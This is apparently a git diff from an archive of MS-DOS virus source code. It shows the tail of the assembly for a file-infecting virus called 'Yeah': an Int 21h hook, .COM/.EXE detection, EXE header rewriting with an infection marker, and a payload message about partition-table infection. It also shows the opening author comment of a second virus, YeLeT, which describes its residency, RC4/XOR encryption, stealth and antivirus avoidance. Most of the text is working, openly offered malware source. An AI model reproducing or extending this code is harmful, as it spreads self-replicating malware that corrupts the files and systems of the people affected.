; entire header read + jne NoVir ; no, not infected + cmp Signature,5a4dh ; signature = 'MZ' ? + jne NoVir ; no, not infected + cmp HeaderSize,ax ; headersize = 0 ? + jne NoVir ; no, not infected + cmp CheckSum,0DEADh ; checksum = DEAD hex + jne NoVir ; no, not infected + call StoreHandle + mov dx,VirusSize ; seek to end of virus + jmp short Infected +NoVir: xor dx,dx +Infected: xor cx,cx ; go to end of virus if file + mov ax,4200h ; is infected + call DOS +PopRet: pop ds ; restore registers + pop dx + pop cx + pop bx + pop ax + popf +Ret2: retf 2 ; return + +;------------------------------------------------------------------------------ + +EndOfFile: mov ax,4202h ; go to end of file + jmp short Zero1 + +TopOfFile: mov ax,4200h ; go to top of file +Zero1: xor cx,cx + jmp short Zero2 + +WriteHeader: mov ah,40h ; write exe-header to file + jmp short Hdr + +ReadHeader: mov ah,3fh ; read exe-header from file +Hdr: mov cx,1eh +Zero2: xor dx,dx + +DOS: pushf ; call orginal interrupt + call cs:OldInt21 + ret + +FindHandle: push ax + push cx + mov ax,bx + mov bx,offset Handle + mov cx,8 +NotFound: cmp ax,cs:[bx] + je Found + inc bx + inc bx + loop NotFound + stc +Found: pop cx + pop ax + ret + +HandleFree: push bx + xor bx,bx + call FindHandle + pop bx + ret + +StoreHandle: push bx + push bx + xor bx,bx + call FindHandle + pop cs:[bx] + pop bx + ret + +CheckName: push ax ; check for .exe or .com + push cx ; save registers + push si + push di + xor ah,ah ; point found = 0 + mov cx,100h ; max length filename = 100h + mov si,dx ; si = start of filename + cld +NxtChr: lodsb ; get byte + or al,al ; 0 ? + je EndName ; yes, check extension + cmp al,'\' ; \ ? + je Slash ; yes, point found = 0 + cmp al,'.' ; . ? + je Point ; yes, point found = 1 + loop NxtChr ; next character + jmp short EndName ; check extension +Slash: xor ah,ah ; point found = 0 + jmp NxtChr ; next character +Point: inc ah ; point found = 1 + mov di,si ; di = start of extension + jmp NxtChr ; next character +EndName: cmp ah,1 ; point found = 0 + jne NotExe ; yes, not an exe-file + mov si,di ; si = start of extension + lodsw ; first 2 characters + and ax,0dfdfh ; uppercase + mov cx,ax + lodsb ; 3rd character + and al,0dfh ; uppercase + cmp cx,04f43h ; extension = .com ? + jne NotCom + cmp al,04dh + je ChkRet +NotCom: cmp cx,05845h ; extension = .exe ? + jne NotExe + cmp al,045h + je ChkRet +NotExe: stc ; set carry flag +ChkRet: pop di ; restore registers + pop si + pop cx + pop ax + ret ; return + +UpdateHeader: mov ax,4200h ; position read/write pointer + xor cx,cx ; at the end of the virus + mov dx,VirusSize + call DOS + call ReadHeader ; read orginal exe-header + cmp Signature,5a4dh + je InfectExe +InfectCom: mov Signature,5a4dh + mov ReloOffset,01ch + mov OverlayNr,0 + mov ExeSS,(VirusSize-100h)/10h + mov ExeSP,0fffeh + call EndOfFile + sub ax,VirusSize + sbb dx,0 + mov ComSize,ax + mov cx,10h + div cx + sub dx,1 + mov dx,0ff2h+20h + sbb dx,ax + mov MinMem,dx + jmp WriteIt +InfectExe: mov ComSize,-1 + mov ax,(VirusSize/10h) + add ax,HeaderSize + add ExeSS,ax + add MinMem,20h + add MaxMem,20h + jnc MaxOk +WriteIt: mov MaxMem,0ffffh +MaxOk: mov ReloCount,0 + mov HeaderSize,0 + mov CheckSum,0DEADh + mov ExeCS,0 + mov ExeIP,offset Main + call EndOfFile + mov cx,200h + div cx + mov PartPage,dx + add dx,-1 + adc ax,0 + mov PageCount,ax + call TopOfFile + call WriteHeader ; write header at the top of + jc InfErr ; the virus + mov ax,5700h + call DOS + mov ax,5701h + or cl,1fh + call DOS +InfErr: ret + +;------------------------------------------------------------------------------ +; +; Data to generate the 123 yeah sound +; +;------------------------------------------------------------------------------ + +SampleData db 07dh,075h,05fh,0ffh,0ffh,0ffh,0ffh,0a0h,03fh,007h,0f8h,03ch,007h,0e0h,07fh,003h + db 0c0h,0f8h,00fh,0c0h,0f0h,07ch,00fh,0c0h,0f8h,0f0h,01fh,081h,0ffh,081h,0fch,00ch + db 07eh,007h,0f0h,071h,0f0h,03fh,007h,00fh,083h,0f0h,071h,0f8h,03fh,007h,01fh,003h + db 0e0h,0e3h,0e0h,07ch,000h,0fch,00fh,080h,03fh,003h,0e0h,01fh,0c0h,0fch,007h,0f0h + db 03fh,003h,0f8h,00fh,0c0h,0feh,003h,0f0h,07fh,001h,0f8h,03fh,0c0h,07eh,007h,0fch + db 03fh,001h,0f8h,01eh,01fh,002h,03eh,00fh,0c0h,03fh,007h,0f0h,01fh,007h,0fch,00fh + db 082h,0ffh,00fh,086h,00fh,038h,03eh,004h,03ch,01fh,008h,03eh,01fh,008h,03eh,00fh + db 000h,07ch,00fh,080h,07ch,007h,0e0h,078h,0e1h,0f0h,0f0h,0e1h,0f0h,0f0h,0f0h,0f1h + db 0e1h,0f0h,0e1h,0e1h,0f0h,0e3h,0c3h,0f0h,0cfh,007h,0f0h,01eh,00fh,0f0h,03eh,01eh + db 078h,03ch,01ch,078h,038h,03ch,078h,078h,07ch,070h,0f0h,078h,0e1h,0c0h,070h,0c3h + db 058h,061h,08eh,078h,0e3h,01ch,071h,0c6h,03ch,0e3h,08eh,030h,0e7h,01ch,071h,0c6h + db 038h,0e1h,08eh,038h,0e3h,09ch,071h,0c7h,01ch,0f1h,0c7h,018h,0e3h,007h,038h,0e7h + db 00fh,000h,0efh,00fh,001h,0e6h,00fh,0c1h,0e3h,01eh,003h,0e3h,08eh,0e1h,0dfh,087h + db 0e1h,0c3h,0c6h,070h,07fh,003h,0f0h,073h,0f0h,03eh,007h,0ech,007h,0e0h,078h,070h + db 07eh,00fh,00fh,007h,0c2h,063h,0e0h,07eh,008h,0f8h,01fh,080h,03eh,003h,0f0h,01fh + db 080h,0fch,007h,0f0h,03fh,001h,0f8h,00fh,0c0h,0feh,003h,0f0h,01fh,0c0h,0f8h,01fh + db 0e0h,07ch,01fh,0f0h,03eh,00fh,080h,01fh,00fh,0f0h,01fh,007h,0d0h,00fh,007h,0c3h + db 00fh,007h,082h,00fh,007h,0c0h,00fh,007h,0c3h,00fh,007h,080h,00fh,007h,00ah,01fh + db 00fh,08eh,01eh,01eh,00eh,03ch,01eh,01ch,03ch,03ch,018h,078h,07ch,018h,0f0h,078h + db 0f1h,0f0h,0f0h,0e1h,0e1h,0e0h,0c3h,0c3h,0e1h,0c7h,083h,0c3h,08fh,00fh,003h,01eh + db 01eh,00eh,01ch,03eh,01ch,078h,078h,038h,0f0h,0f0h,031h,0e1h,0ech,063h,0c3h,0c8h + db 0c7h,087h,0f1h,08fh,00ch,0e3h,01eh,01bh,0c7h,01ch,027h,08eh,038h,047h,01ch,079h + db 08eh,038h,071h,01eh,038h,0f2h,01ch,070h,0d6h,038h,0f1h,0c0h,038h,0f1h,0e0h,078h + db 001h,0e4h,07dh,0f0h,0e0h,018h,018h,0f6h,03ch,088h,070h,01fh,0ech,078h,006h,004h + db 03fh,087h,0f2h,01ch,083h,0fbh,01fh,0e1h,0f8h,007h,0f0h,0ffh,0c3h,0f8h,003h,0c0h + db 0ffh,001h,0f8h,007h,080h,03fh,001h,0e0h,00ch,086h,07ch,063h,0c0h,01fh,060h,0fch + db 023h,080h,038h,003h,0e0h,038h,0c0h,018h,0c7h,0f8h,0c7h,000h,000h,001h,0c7h,0b8h + db 060h,008h,006h,01fh,0c7h,018h,002h,030h,00eh,03ch,01ch,000h,000h,001h,0f8h,01ch + db 001h,087h,081h,0e1h,080h,0cch,006h,000h,0c6h,060h,000h,008h,007h,080h,000h,020h + db 0e2h,000h,000h,020h,008h,008h,063h,0ech,004h,023h,024h,062h,08ch,0abh,052h,02dh + db 0a8h,004h,09bh,034h,0a5h,0c6h,092h,0b4h,0a6h,099h,012h,0c1h,09dh,0a0h,02ch,0dbh + db 034h,0cdh,0a8h,044h,098h,0f6h,024h,003h,07fh,0a0h,040h,01bh,0feh,000h,00bh,0ffh + db 080h,001h,0ffh,0c0h,000h,0ffh,0f0h,000h,07fh,0f8h,000h,03fh,0f8h,000h,03fh,0f0h + db 000h,03fh,0f8h,000h,03fh,0f0h,000h,07fh,0c0h,003h,0ffh,0c0h,003h,0ffh,000h,005h + db 0feh,04eh,01dh,0e0h,031h,0ffh,000h,0c7h,0feh,000h,01fh,0feh,000h,03fh,0feh,000h + db 03fh,0ffh,080h,03fh,0ffh,000h,047h,0f9h,082h,007h,0e7h,08ch,00fh,09fh,070h,03eh + db 07fh,0c0h,071h,0bfh,000h,0e7h,07ch,003h,09fh,0f8h,00eh,03fh,0e0h,018h,0f7h,0c0h + db 073h,0ffh,001h,0c7h,0fch,003h,00eh,0f8h,00eh,03fh,0e0h,018h,06fh,0c0h,070h,09fh + db 080h,0e3h,07eh,003h,0c6h,0fch,007h,083h,0f8h,00eh,007h,0f0h,01ch,06fh,0c0h,078h + db 01fh,0c0h,0f1h,07fh,001h,0e0h,0ffh,003h,0c1h,0feh,003h,083h,0fch,007h,007h,0f8h + db 00fh,00fh,078h,00eh,00eh,0f8h,01eh,01eh,0f0h,01eh,03ch,0f0h,01ch,03dh,0e1h,05ch + db 039h,0e1h,018h,07bh,0c2h,038h,073h,0c3h,038h,0f3h,086h,038h,0e7h,086h,070h,0e3h + db 086h,070h,0e3h,084h,070h,0e3h,086h,070h,0e7h,08ch,070h,0e7h,08eh,070h,0e3h,086h + db 071h,0c3h,086h,078h,0e3h,080h,079h,0e3h,082h,038h,0f1h,0c3h,01ch,0f9h,0c3h,01ch + db 078h,0c1h,01eh,078h,0e1h,08fh,03ch,070h,08fh,03ch,030h,067h,08eh,038h,073h,086h + db 018h,07bh,087h,08eh,03ch,0e3h,08fh,038h,060h,0e7h,08ch,038h,0f3h,087h,00eh,078h + db 0c3h,01eh,070h,070h,0e7h,086h,021h,0e7h,007h,08ch,078h,00eh,03eh,0e0h,0f1h,0cfh + db 000h,0f1h,0e7h,007h,01ch,078h,0c7h,01eh,078h,070h,0c7h,08eh,030h,067h,0c7h,08eh + db 018h,0f3h,007h,070h,07ch,079h,0c1h,019h,033h,004h,0e3h,0cfh,003h,087h,03ch,070h + db 0f1h,0c7h,00eh,03ch,0f1h,0e1h,087h,09ch,038h,061h,0e7h,08fh,01ch,03fh,087h,03ch + db 00fh,0f3h,0c3h,086h,03ch,0f0h,018h,05fh,03eh,030h,0f1h,087h,0c6h,00fh,0f0h,0e3h + db 0c7h,01fh,00eh,03ch,071h,087h,08eh,01fh,018h,079h,0c3h,08fh,01ch,01eh,018h,0f1h + db 0e0h,007h,0cch,01eh,038h,071h,0e0h,0c7h,0c6h,01ch,07ch,0e0h,01ch,078h,07fh,010h + db 07fh,0e0h,018h,0e1h,0cfh,018h,0e1h,0c0h,038h,0e7h,0c0h,01ch,079h,087h,038h,023h + db 0ech,018h,0f1h,082h,078h,003h,0c6h,018h,07bh,0c1h,0f8h,001h,0cfh,018h,079h,0c1h + db 00eh,038h,073h,0ddh,019h,0f1h,007h,03ch,070h,0e7h,008h,078h,0c3h,00eh,078h,023h + db 08eh,018h,073h,0c7h,09eh,030h,0c3h,08eh,018h,0f1h,0c7h,00ch,070h,0e3h,08eh,03ch + db 071h,0c3h,01ch,038h,0e1h,08fh,01ch,070h,0c7h,08eh,038h,061h,0c7h,01eh,038h,0e1h + db 08fh,01ch,071h,0e7h,08ch,038h,0e3h,0c6h,01ch,078h,0e1h,00eh,01ch,078h,0c7h,08eh + db 03ch,031h,0c3h,08fh,028h,070h,0e3h,086h,01ch,038h,0f1h,087h,00eh,038h,071h,0c3h + db 08fh,01ch,078h,0e1h,0c3h,00eh,01ch,078h,0e1h,0c3h,08eh,01ch,078h,071h,0c1h,08fh + db 08fh,0f8h,03dh,0f8h,018h,007h,0feh,002h,007h,0feh,006h,003h,0ffh,083h,0c1h,0ffh + db 0c1h,081h,0f7h,0d1h,0c0h,0ffh,0c0h,0c1h,0f3h,0e1h,0c1h,0f7h,0e0h,0c1h,0e3h,0e1h + db 0c1h,0e3h,0c1h,0c1h,0e3h,0c3h,083h,0c7h,083h,083h,0c7h,087h,007h,08fh,086h,00fh + db 09eh,01ch,01eh,01ch,03ch,01ch,03ch,038h,078h,038h,0f0h,0f8h,0e0h,0f1h,0f1h,0c1h + db 0e1h,0f3h,083h,087h,0deh,006h,00fh,03eh,01ch,03ch,07ch,038h,07ch,0f8h,060h,0ffh + db 0c7h,083h,087h,087h,083h,00fh,00fh,087h,01fh,01fh,007h,09fh,01eh,007h,087h,00fh + db 00fh,00fh,00fh,00eh,01eh,01eh,01ch,01eh,03eh,00ch,03ch,03eh,00ch,03ch,03eh,01ch + db 01ch,07ch,03ch,038h,0f8h,078h,0f0h,0f0h,0f0h,0f1h,0f1h,0c1h,0f1h,0e3h,083h,0e1h + db 0c0h,047h,0c7h,0c1h,08fh,00fh,086h,01eh,00fh,018h,078h,01ch,061h,0fch,071h,08eh + db 071h,0c6h,031h,0c7h,030h,0c7h,018h,0e3h,08ch,0e3h,09eh,023h,08eh,078h,00eh,039h + db 0c0h,078h,07fh,0e1h,0e0h,0f9h,0c3h,080h,0f3h,00fh,003h,0cch,03ch,0cfh,010h,073h + db 01eh,0e0h,0c6h,07dh,007h,001h,0fch,004h,041h,0f3h,080h,0b1h,0eeh,040h,067h,01ch + db 039h,09eh,03ch,0e6h,038h,003h,09ch,063h,00eh,079h,087h,00dh,0c7h,00ch,007h,08eh + db 018h,00fh,09eh,006h,01fh,01fh,00ch,03eh,03eh,006h,03ch,01ch,01ch,07eh,03ch,038h + db 03eh,038h,07ch,07ch,060h,070h,079h,081h,0e0h,0e2h,063h,0c1h,0c1h,0c3h,087h,0c7h + db 087h,007h,03fh,00eh,00ch,0ceh,03eh,033h,038h,078h,07ch,0e0h,0e0h,0f9h,0e3h,083h + db 0f1h,085h,0cfh,0e6h,007h,01fh,098h,01ch,07eh,020h,070h,0fch,031h,099h,0d8h,0c6h + db 067h,063h,01bh,09dh,08ch,00eh,07bh,030h,079h,0e0h,080h,0fbh,0cch,003h,0e7h,030h + db 00fh,09ch,0c0h,03eh,033h,000h,0fch,0ceh,003h,0f3h,098h,00dh,0ceh,060h,037h,039h + db 080h,0dch,0e7h,001h,073h,09ch,007h,0ceh,070h,01fh,01ch,0c0h,03eh,073h,000h,0f1h + db 0cch,001h,0cfh,038h,006h,03eh,0e0h,00ch,0ffh,098h,043h,0feh,061h,00fh,0f9h,084h + db 077h,0f2h,010h,08fh,0cch,003h,03fh,091h,000h,07fh,002h,013h,0fch,0c8h,047h,0fbh + db 030h,00ch,0e6h,00ch,00dh,0dch,020h,099h,0b8h,0cch,013h,0e3h,038h,08dh,08ch,0e1h + db 099h,03bh,0d8h,099h,0bfh,0ech,0c4h,07fh,09ch,0c8h,0ceh,07eh,004h,02fh,0f9h,000h + db 027h,0f7h,020h,01bh,0ffh,0c0h,00eh,0f7h,060h,011h,0ffh,0c0h,006h,0ffh,080h,001h + db 0feh,0c4h,066h,0fch,0d0h,011h,0ddh,0c4h,067h,027h,033h,0fch,0cch,046h,066h,072h + db 000h,0cfh,0eeh,0c0h,00fh,077h,030h,019h,09fh,0e0h,000h,0dfh,0d8h,011h,01ch,0cch + db 0cch,046h,067h,073h,011h,099h,09ch,0cch,0e6h,062h,033h,03bh,011h,08dh,0feh,0c4h + db 003h,07fh,0b9h,080h,08ch,0f6h,062h,000h,03dh,0dch,000h,007h,0fbh,010h,019h,0bfh + db 0e2h,046h,007h,033h,0b1h,008h,06eh,063h,031h,09fh,0f0h,000h,067h,073h,011h,099h + db 0cfh,033h,030h,030h,0d9h,098h,080h,03fh,0fch,000h,04fh,0efh,073h,030h,018h,07fh + db 0fch,000h,019h,0feh,000h,037h,0ffh,080h,000h,037h,08eh,0f9h,000h,003h,0ffh,080h + db 006h,0ffh,0f0h,000h,01eh,0f1h,0dbh,080h,000h,037h,0f0h,000h,027h,0f3h,040h,04eh + db 0e7h,000h,04fh,0c6h,000h,0dfh,0ceh,080h,09dh,0cch,001h,09fh,0c4h,000h,09fh,0fch + db 001h,09fh,080h,000h,0bfh,0c8h,080h,09dh,0cch,080h,0ceh,0e4h,040h,04eh,0ffh,022h + db 027h,072h,010h,013h,0bbh,098h,00dh,0dch,084h,002h,077h,062h,001h,0bbh,0b0h,080h + db 04eh,0ech,040h,01bh,0bbh,010h,006h,0eeh,042h,000h,09dh,0d8h,080h,013h,0bbh,000h + db 002h,077h,062h,004h,06eh,0e4h,020h,00ch,0eeh,0c0h,000h,0cch,0ech,000h,00ch,0eeh + db 0c0h,000h,06eh,0f4h,000h,006h,077h,040h,002h,033h,0feh,080h,018h,0dfh,0f0h,000h + db 046h,07fh,0c0h,023h,01bh,0f6h,000h,00ch,0ffh,0d8h,010h,031h,07eh,070h,03ch,00fh + db 0e0h,0f8h,01fh,081h,0f0h,03eh,007h,0c0h,0f0h,03eh,003h,003h,0f0h,038h,03fh,003h + db 081h,0f0h,03ch,01fh,081h,0c1h,0f0h,01ch,00fh,081h,0e0h,0f8h,01eh,00fh,080h,0e0h + db 07fh,07fh,0ffh,0ffh,0ffh,0ffh,0ffh,0feh,06ch,092h,0d9h,0a6h,0c6h,082h,0c8h,032h + db 049h,000h,083h,07fh,0b0h,000h,016h,0ffh,0a0h,000h,05fh,0fdh,080h,042h,0bfh,0f0h + db 082h,009h,02dh,010h,080h,099h,06bh,040h,006h,0cah,0a0h,000h,0bdh,0b4h,000h,050h + db 0b4h,001h,0d1h,0a4h,081h,0d3h,046h,096h,0d6h,0a2h,049h,0dbh,040h,0b7h,0f4h,083h + db 06dh,0e9h,026h,0f1h,0f2h,027h,0f3h,0a4h,0b7h,063h,060h,01fh,0c7h,0f1h,036h,0cfh + db 0b0h,03eh,00dh,0b0h,07eh,00bh,0d0h,07bh,01bh,0c0h,07ch,01bh,064h,06ch,01fh,024h + db 064h,00dh,036h,066h,04dh,093h,023h,06dh,01bh,003h,02dh,09dh,007h,085h,09dh,087h + db 0c4h,08eh,087h,0c4h,0c6h,0c3h,0c4h,0c7h,043h,066h,043h,003h,0e6h,043h,081h,0b2h + db 065h,081h,0b2h,061h,081h,0b3h,063h,081h,0d3h,033h,0c1h,0f1h,031h,091h,0b1h,033h + db 0b1h,0f1h,033h,0a1h,0e1h,023h,021h,0e1h,023h,063h,063h,066h,066h,0e3h,066h,0e4h + db 0c7h,04dh,0cdh,08fh,013h,05bh,09eh,066h,064h,0ech,0cch,0c9h,0ddh,099h,091h,0bbh + db 017h,04fh,0d8h,02eh,00fh,032h,07eh,01eh,068h,0f8h,079h,091h,0f0h,0f7h,046h,0c5h + db 0deh,09fh,09fh,0edh,07ch,02fh,0b3h,034h,05eh,04ch,099h,0b9h,0bbh,032h,0cah,0cch + db 0dbh,009h,013h,00dh,034h,02eh,064h,0d8h,0b9h,0a1h,023h,064h,08ch,08dh,092h,032h + db 03ch,0c8h,0c8h,0fah,037h,023h,0d0h,09ch,00eh,0c2h,0f0h,066h,04bh,0c1h,0d9h,01bh + db 026h,064h,0cch,09bh,007h,033h,06ch,01ch,099h,0e0h,072h,065h,083h,089h,01dh,00eh + db 024h,064h,078h,0b1h,091h,0e6h,0cch,08fh,012h,032h,038h,049h,090h,0f3h,066h,047h + db 08dh,019h,01eh,034h,04ch,0d9h,0b3h,033h,0e6h,0cch,0c9h,019h,062h,06ch,06dh,099h + db 0b1h,0b6h,066h,0c6h,0f8h,09bh,01dh,0c8h,0fch,033h,033h,0b1h,0ech,0cdh,0cdh,099h + db 03ah,037h,064h,0e8h,0e7h,083h,0c1h,0cfh,007h,087h,0ddh,01fh,00fh,032h,03eh,01eh + db 074h,07ch,07ch,0e0h,0f8h,0f9h,0c1h,0f9h,077h,043h,0e9h,0fbh,083h,0e0h,0e5h,087h + db 082h,099h,00fh,016h,073h,023h,001h,0f1h,013h,002h,032h,006h,002h,0f2h,066h,0c0h + db 0e2h,062h,046h,066h,00eh,00ch,0e6h,026h,040h,0e4h,07ch,000h,0e2h,06ch,001h,0c2h + db 022h,062h,0e6h,00ch,040h,036h,01eh,002h,0e2h,036h,020h,0f2h,03ch,038h,0f3h,036h + db 060h,0d3h,013h,042h,07bh,01bh,001h,0f9h,03fh,02ch,0f9h,01bh,0b0h,079h,091h,0b1h + db 0f9h,01fh,083h,0f9h,09fh,003h,0fdh,09dh,09bh,0bch,0ddh,0dbh,0fch,0ddh,09bh,0fch + db 0ech,069h,0fch,0dch,0fdh,09ch,0cch,0f9h,03eh,06ch,0bch,0bch,02eh,024h,0feh,066h + db 034h,0deh,026h,036h,01eh,066h,066h,04eh,066h,02eh,04fh,017h,01fh,027h,033h,01fh + db 00fh,09bh,01ah,04fh,099h,039h,027h,088h,0d8h,037h,098h,083h,007h,0cch,018h,012h + db 04ch,01ch,006h,0a4h,036h,00eh,054h,01eh,01fh,01eh,00eh,007h,09eh,00eh,04eh,0ceh + db 00fh,007h,087h,007h,087h,08fh,007h,003h,047h,007h,083h,0c3h,003h,083h,0e3h,081h + db 081h,0c3h,0a3h,0e1h,0e3h,0c1h,0f1h,0f1h,0c0h,0e0h,0f9h,0c0h,0f0h,070h,0f0h,0f8h + db 0f8h,0f0h,0f8h,07ch,0c0h,0d8h,018h,01ch,01ch,06ch,0fch,03fh,025h,0cch,04ch,00ch + db 0ceh,06eh,03ch,0e2h,0e3h,0e3h,0e7h,0c7h,08ch,073h,032h,074h,0f0h,0f1h,0b2h,070h + db 0f2h,078h,078h,078h,078h,078h,078h,038h,038h,03ch,03eh,01ch,03ch,01eh,01ch,01ch + db 01eh,01fh,01eh,00fh,00eh,00eh,00fh,08fh,00fh,007h,087h,087h,043h,083h,0c3h,0c3h + db 0c3h,0c3h,0c3h,0c3h,0c3h,0c1h,0e1h,0c3h,0e0h,0f0h,0e0h,0e0h,0f0h,0f0h,0e0h,0f0h + db 070h,0f0h,0f8h,078h,070h,078h,070h,070h,03ch,03ch,038h,03ch,03ch,01ch,03ch,03ch + db 01ch,01eh,01ch,09ch,01eh,01ch,01eh,01fh,01ch,00eh,01fh,01ch,00fh,01fh,01eh,00fh + db 00fh,09fh,007h,00fh,0c7h,007h,00fh,087h,017h,087h,087h,087h,0c7h,093h,087h,0c3h + db 0d3h,083h,0c3h,0d1h,0c3h,0e1h,0f9h,0c3h,0e1h,0e8h,0c7h,0e0h,0f8h,0e3h,0f8h,0f6h + db 0e3h,0e8h,07eh,0e3h,0e8h,07eh,063h,0e4h,0f9h,0e3h,0e2h,0dbh,0e1h,0e1h,0c8h,0e0h + db 070h,0cdh,0f0h,0f0h,0cch,0f1h,0f8h,0c1h,0f0h,0f0h,0f1h,038h,038h,073h,038h,03ch + db 073h,038h,03ch,038h,01ch,01eh,03ah,01eh,01eh,03ch,08eh,01eh,01ch,08eh,00fh,01fh + db 08eh,00fh,01fh,00eh,00fh,01eh,006h,007h,00eh,007h,04eh,049h,0e2h,036h,00dh,0e6h + db 028h,0c1h,0f3h,006h,004h,0b3h,007h,001h,0a9h,00fh,083h,095h,007h,087h,0c7h,083h + db 081h,0e7h,083h,093h,0b3h,083h,0c1h,0e1h,0c1h,0e1h,0e3h,0c1h,0c0h,0d1h,0c1h,0e0h + db 0f0h,0c0h,0e0h,0f8h,0e0h,060h,070h,0e8h,0f8h,078h,0f0h,07ch,07ch,070h,038h,03eh + db 070h,03ch,01ch,03ch,03eh,03eh,03ch,03eh,01fh,030h,036h,006h,007h,007h,01bh,03fh + db 00fh,0c9h,073h,013h,003h,0b3h,09bh,08fh,038h,0bch,0f8h,0f9h,0f1h,0e3h,01ch,0cch + db 09dh,03ch,03ch,06ch,09ch,03ch,09eh,01eh,01eh,01eh,01eh,01eh,00eh,00eh,00fh,00fh + db 087h,00fh,007h,087h,007h,007h,087h,0c7h,083h,0c3h,083h,083h,0e3h,0c3h,0c1h,0e1h + db 0f1h,0d1h,0e0h,0f0h,0f0h,0f0h,0f0h,0f0h,0f0h,0f0h,0f0h,078h,070h,0f8h,03ch,038h + db 038h,03ch,03ch,038h,03ch,01ch,03ch,03eh,01eh,01ch,03eh,01ch,01ch,00fh,00fh,00eh + db 00fh,00fh,007h,00fh,00fh,007h,007h,087h,027h,007h,087h,007h,087h,0c7h,003h,087h + db 0c7h,003h,0c7h,0c7h,083h,0c3h,0e7h,0c1h,0c3h,0f1h,0c1h,0c3h,0e1h,0c5h,0e1h,0e1h + db 0e1h,0f1h,0ech,0e1h,0f0h,0f4h,0e0h,0f0h,0f4h,070h,0f8h,07eh,070h,0f8h,07ah,031h + db 0f8h,03eh,038h,0feh,03dh,0b8h,0fah,01fh,0b8h,0fah,01fh,098h,0f9h,03eh,078h,0f8h + db 0b6h,0f8h,0f8h,072h,038h,01ch,033h,07ch,03ch,033h,03ch,07eh,038h,07ch,03eh,03ch + db 04eh,00eh,01ch,0ceh,00fh,01ch,0ceh,00fh,00eh,007h,007h,08eh,087h,087h,08fh,063h + db 087h,087h,023h,083h,0c7h,0e3h,083h,0c7h,0c3h,083h,0c7h,081h,081h,0c0h,0f9h,09bh + db 093h,079h,08dh,083h,079h,08bh,030h,07ch,0c9h,0c3h,02ch,0c1h,0c0h,07ah,043h,0e0h + db 0e5h,041h,0e1h,0f1h,0e0h,0e0h,0f9h,0e0h,0e4h,0ech,0e0h,0f0h,078h,070h,078h,078h + db 0f0h,070h,034h,070h,078h,03ch,030h,038h,03eh ; ,038h + +SampleEnd equ this byte + +;------------------------------------------------------------------------------ +; +; Variables +; +;------------------------------------------------------------------------------ + +Active db -1 +ActiveYear dw -1 +ActiveDate dw -1 + +OldInt8 equ this dword ; orginal interrupt 8 +OldInt8o dw -1 +OldInt8s dw -1 +OldInt1C equ this dword ; orginal interrupt 1ch +OldInt1Co dw -1 +OldInt1Cs dw -1 +OldInt21 equ this dword ; orginal interrupt 21h +OldInt21o dw -1 +OldInt21s dw -1 + +Count dw -1 ; timer count +SampleOffset dw -1 ; Used to make sound +SampleBit db -1 +SampleFlag db -1 +Handle dw 8 dup(-1) ; Filehandles + +cseg ends + +;------------------------------------------------------------------------------ +; +; Orginal EXE-file +; +;------------------------------------------------------------------------------ + +mseg segment public 'code' + assume cs:mseg, ds:mseg, es:mseg + + + db 'MZ' ; header + dw PrgSize ; PartPage + dw 1 ; PageCount + dw 0 ; relocation items = 0 + dw 0 ; headersize = 0h + dw 80h ; minimum memory + dw 0ffffh ; maximum memory + dw (PrgSize+15)/10h ; ss + dw 7feh ; sp + dw 0 ; chksum + dw offset Orginal ; ip + dw 0 ; cs + dw 1ch ; offset relocation table + dw 0 ; overlay number + +Orginal: mov ah,9 ; display warning + push cs + pop ds + mov dx,offset Warning + int 21h + mov ax,4c00h + int 21h ; terminate + +Warning db 13,10 + db 'WARNING:',13,10 + db 13,10 + db 'Yeah virus has now infected the partition table !!!!!',13,10 + db 13,10 + db '$' + +mseg ends + +sseg segment stack 'stack' + db 800h dup(?) +sseg ends + +end Main + +; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ +; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ> ReMeMbEr WhErE YoU sAw ThIs pHile fIrSt <ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ +; ÄÄÄÄÄÄÄÄÄÄÄ> ArReStEd DeVeLoPmEnT +31.77.SeCrEt H/p/A/v/AV/? <ÄÄÄÄÄÄÄÄÄÄÄ +; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ diff --git a/MSDOS/Virus.MSDOS.Unknown.yelet.asm b/MSDOS/Virus.MSDOS.Unknown.yelet.asm new file mode 100644 index 00000000..38356c19 --- /dev/null +++ b/MSDOS/Virus.MSDOS.Unknown.yelet.asm @@ -0,0 +1,1012 @@ +comment $ + + ++++++++++++++++++++++++++++++ YeLeT v0.9 ++++++++++++++++++++++++++++++++++ + + This is YeLeT version 0.9, it is not the final version, i wanted to + add some more stuff but didn't get it done until we released CB #4. + Also this is NOT for educational purposes :) because its HIGHLY + unoptimized (... well, but it werx!) + I know that this virus is getting detected by AVP as 'Suspicion + Type_ComExeTsr' (don't know about other scanners) but i don't care about + that yet as its just a beta version, a final version (with many + improvments) will sometimes be available from the CB webpage. + + Anyway, YeLeT stays resident and hooks Int 21h (func: 4Bh) and infects + MZ/ZM EXE and COM files both in plain DOS and after loading Winblows. + It uses 2 encryption layers, the second one uses just simple XOR (with + some bruteforce cracking so the key doesn't have to be stored in the + code) and the first layer uses my own Unoptimized-Viral-RC4 routine + (this routine doesn't use any bruteforce cracking routines as it would + make the user a bit suspicious if files would take billions of years to + load ;-)). Also it uses simple DTA-size stealth, direct infection of + win.com, and it avoids infection of some AV programs and archivers. + + Credits & Greets go to: + + Spanska - for some useful IDEAs!! :-) + Bruce Schneier - for the book Applied Cryptography (i used the RC4 + algorithm described in his book). + ISBN - 0-471-11709-9 - + AVP - their support sucks, they always just tell you to + wait for the next update, but their scanner is the + best! :-) + Horny Toad - thanks for sticking together our magazines all the + time! + Opic - thanks for helping him ^^^ out with the mag this + time. ;-) + + ... and before the interesting stuff beginns, here is a description of + RC4 (from 'Applied Cryptography'): + + - The algorithm works in OFB: The keystream is independent of the + plaintext. It has a 8 * 8 S-box: S[0], S[1], ... S[255]. The entries + are a permutation of the numbers 0 through 255, and the permutation is + a function of the variable-length key. It has two counters, i and j, + initialized at zero. + + i = (i + 1) mod 256 + j = (j + S[i]) mod 256 + swap S[i] and S[j] + t = (S[i] + S[j]) mod 256 